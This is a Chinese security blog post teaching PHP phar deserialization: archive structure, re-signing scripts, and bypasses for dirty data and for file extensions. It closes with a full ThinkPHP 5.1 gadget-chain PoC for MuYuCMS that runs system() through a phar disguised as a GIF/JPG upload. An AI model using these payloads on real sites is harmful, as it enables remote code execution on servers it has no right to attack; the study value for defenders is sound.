这篇文章其实早就在写了,但不知为何其被我遗留在一个不为人知的的角落里,再不发出来就要发霉了。。。

由于phar遇到的很少,这里只是对其基础知识进行学习,网上有很多师傅更深入了解的文章,也是在这里埋个坑以后继续学习
在PHP中,PHAR(PHP Archive)是一种将多个PHP文件、资源(如图片、样式表)和元数据打包成单个文件的归档格式,类似于Java的JAR文件。它的主要目的是简化代码的分发和部署。
它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句
phar的文件结构
首先我们需要知道php是如何标识一个phar文件的,且是如何从一个phar中访问php文件

Stub(引导程序)
stub可以理解为一个phar文件的标识符,类似于可执行文件的“头部”,当直接运行phar时,PHP解释器会首先执行Stub中的代码
其本质上还是一个php文件,必须包含 __HALT_COMPILER(); 语句,通常用于定义自定义的加载逻辑或显示帮助信息,例如
1 2 3 4 5
   | <?php Phar::mapPhar(); require "phar://". __FILE__ ."/file.php"; __HALT_COMPILER(); ?>
   | 
 
当我们直接执行这个phar文件时,它可以直接指定要访问的php文件

Manifest(元数据清单)
以二进制结构记录PHAR中所有文件的元信息,包括:
- 文件名、文件大小、时间戳。
 
- 文件权限、压缩类型(如Gzip/Bzip2)。
 
- 用户自定义的元数据(通过 
setMetadata() 存储的序列化数据) 
因此这里也是反序列化的攻击点
Contents(文件内容)
实际存储PHAR中包含的所有文件数据,通过 phar:// 流包装器访问
Signature(签名)
验证PHAR文件的完整性和来源真实性,防止篡改
1 2 3 4 5
   | 01 -> MD5 02 -> SHA1 03 -> SHA256 04 -> SHA512 10 -> OPENSSL
   | 
 

使用PHP的Phar类提供的API进行修改时,签名会自动更改,PHP在加载phar文件时会验证签名,若会签名不匹配则会拒绝加载

构造payload
自定义meta-data写入manifest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | <?php class AAA {     public $a = "hello";     function __wakeup()     {         eval($this->a);     } }
  $test = new AAA(); $test->a = "phpinfo();";
  $phar_test = new Phar('test.phar'); $phar_test->startBuffering(); $phar_test->setMetadata($test); $phar_test->setStub("<?php __HALT_COMPILER();?>"); $phar_test->addFromString("test.php","test"); $phar_test->stopBuffering(); ?>
   | 
 
假设目标存在
1 2 3 4 5 6 7 8 9 10 11
   | <?php class AAA{     public $a="hello";     function __wakeup()     {         eval($this->a);     } } $phardemo = file_get_contents('phar://test.phar/test.php'); echo $phardemo; ?>
   | 
 

值得一提的是,整个过程其实是基于目标系统原有的类定义来构造payload的,同时该服务器上的php.ini设置需要phar.readonly = Off,最重要的是巧妙利用魔术方法来配合反序列化
一些绕过技巧
重签名
正如上述所说,如果修改文件内容会使得签名不一致,但我们可以通过winhex得知该phar文件的签名类型,从而在更改文件内容的情况下进行重签名
1 2 3 4 5 6 7
   | from hashlib import sha1 with open('example.phar', 'rb') as file:     f = file.read()  data = f[:-28] 		 sign = f[-8:] 		 with open('test.phar', 'wb') as file:     file.write(data + sha1(data).digest() + sign)	
   | 
 
这里我将e改为c


文件头有脏数据
大概的场景是这样的:服务器将你成功上传的phar文件前加上脏数据,可能是日志时间啥的,因为签名这个过程是发生在签名后的,所以此时你想加载phar文件显然是不行的
因为签名不匹配,需要注意的是,php在加载phar文件时是会忽略签名的脏数据的,只会从文件头<?php __HALT_COMPILER();?>开始解析,但前提是需要一个包含脏数据的签名
假设服务器对你刚上传的文件有如下处理,并且你以某种手段知道具体脏数据值
1 2 3 4 5 6 7 8 9 10 11
   | <?php function prepend_to_file($file_path, $data) {     $current_content = file_get_contents($file_path);     $new_content = $data . $current_content;     file_put_contents($file_path, $new_content); }
  $file_path = 'test.phar'; $data_to_prepend = "[2025-05-20] Uploaded"; prepend_to_file($file_path, $data_to_prepend); ?>
   | 
 
此时文件无法加载,因为签名不匹配

绕过方法就是包含脏数据重新生成phar文件,此时计算签名会包含它
1
   | $phar_test->setStub("[2025-05-20] Uploaded<?php __HALT_COMPILER();?>");
  | 
 
然后通过winhex删除掉


届时我们在上传就可以成功加载了,因为php检查时会发现此时计算的签名是包含日期的

文件尾部的脏数据


此时是无法解析的,但我们可以用tar文件后缀,因为tar存在TAR结束块,解析器在此会停止读取

值得一提的是,phar伪协议不仅可以加载phar后缀文件,常见的压缩文件都可以
1 2 3 4 5 6 7 8
   | .phar(标准格式) .phar.gz(gzip压缩) .phar.bz2(bzip2压缩) .phar.tar(tar格式) .phar.tar.gz(tar+gzip) .phar.tar.bz2(tar+bzip2) .phar.zip(zip格式) 前缀.phar可去掉
   | 
 
需要找到一些可加载文件的函数,同时这个路径是我们可控的

全局搜索is_dir,在Template.php中

在模板管理的自定义单页中找到

根据ThinkPHP的路由规则,默认的URL访问规则是
1
   | http://站点/index.php/模块/控制器/操作
   | 
 
因此
1
   | http://站点/admin.php/Template/cutformadd
   | 
 

找到了加载利用处,我们需要上传phar文件(当然显然不存在,不然直接上传php马了)
ThinkPHP5.1反序列化
因为MuYuCMS是基于ThinkPHP5.1版本的,这里需要借助ThinkPHP 5.1.x 反序列化漏洞,可以看看我写的这篇文章
而我们是通过phar的方式去加载,因此只需要改造一下
完整Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
   | <?php namespace think{     abstract class Model {         protected $append = [];         private $data = [];         public function __construct() {             $this->append = ["Qu43ter"=>["1"]];             $this->data = ["Qu43ter"=>new Request()];         }     } }
  namespace think{     class Request {         protected $hook = [];         protected $filter = "system";         protected $config = [];                  function __construct(){             $this->hook = ["visible"=>[$this,"isAjax"]];             $this->filter = "system";             $this->config = ['var_ajax'=>'',];         }     } }
  namespace think\process\pipes{     use think\model\Pivot;     class Windows {         private $files = [];         public function __construct() {             $this->files = [new Pivot()];         }     } }
  namespace think\model{     use think\Model;     class Pivot extends Model {
      } }
  namespace {     use think\process\pipes\Windows;     $phar_test = new Phar("test.phar");     $phar_test->startBuffering();     $phar_test->setMetadata(new Windows());     $phar_test->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");     $phar_test->addFromString("test.php","test");     $phar_test->stopBuffering();     echo (base64_encode(serialize(new Windows()))); } ?>
   | 
 
之后我们将其后缀改为jpg(即使改成jpg后缀,文件的内容实际上仍然是Phar格式,只是通过改变扩展名来绕过一些文件上传限制)

参考文章:
Phar反序列化学习 - Zh1z3ven
Phar反序列化及其一系列的奇技淫巧 - Boogiepop Doesn’t Laugh
站点中的Phar反序列化漏洞